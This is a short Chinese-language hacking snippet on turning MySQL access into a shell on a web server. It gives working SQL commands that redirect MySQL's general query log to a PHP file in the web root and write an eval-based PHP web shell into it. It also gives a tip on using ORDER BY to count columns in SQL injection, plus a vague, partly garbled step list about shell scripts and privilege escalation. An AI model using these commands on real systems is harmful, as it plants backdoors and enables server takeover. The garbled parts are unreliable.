拿下mysql如何拿下shellvue

拿下mysql在拿下shellvue的方法：

1、手动测试shell。

2、提封装成.sh文件并提权。

3、执行shell脚本./shell.sh。

SHOW VARIABLES LIKE '%general%'

set global general_log = on

set global general_log_file = 'D:\WWW\2.php'

SELECT  '<?php eval($_POST[123321]) ?>'

orderby函数。函数是对MySQL中查询结果按照指定字段名进行排序，除了指定字段名还可以指定字段的栏位进行排序，第一个查询字段为1，第二个为2，依次类推，所以可以利用orderby就可以判断列数。

---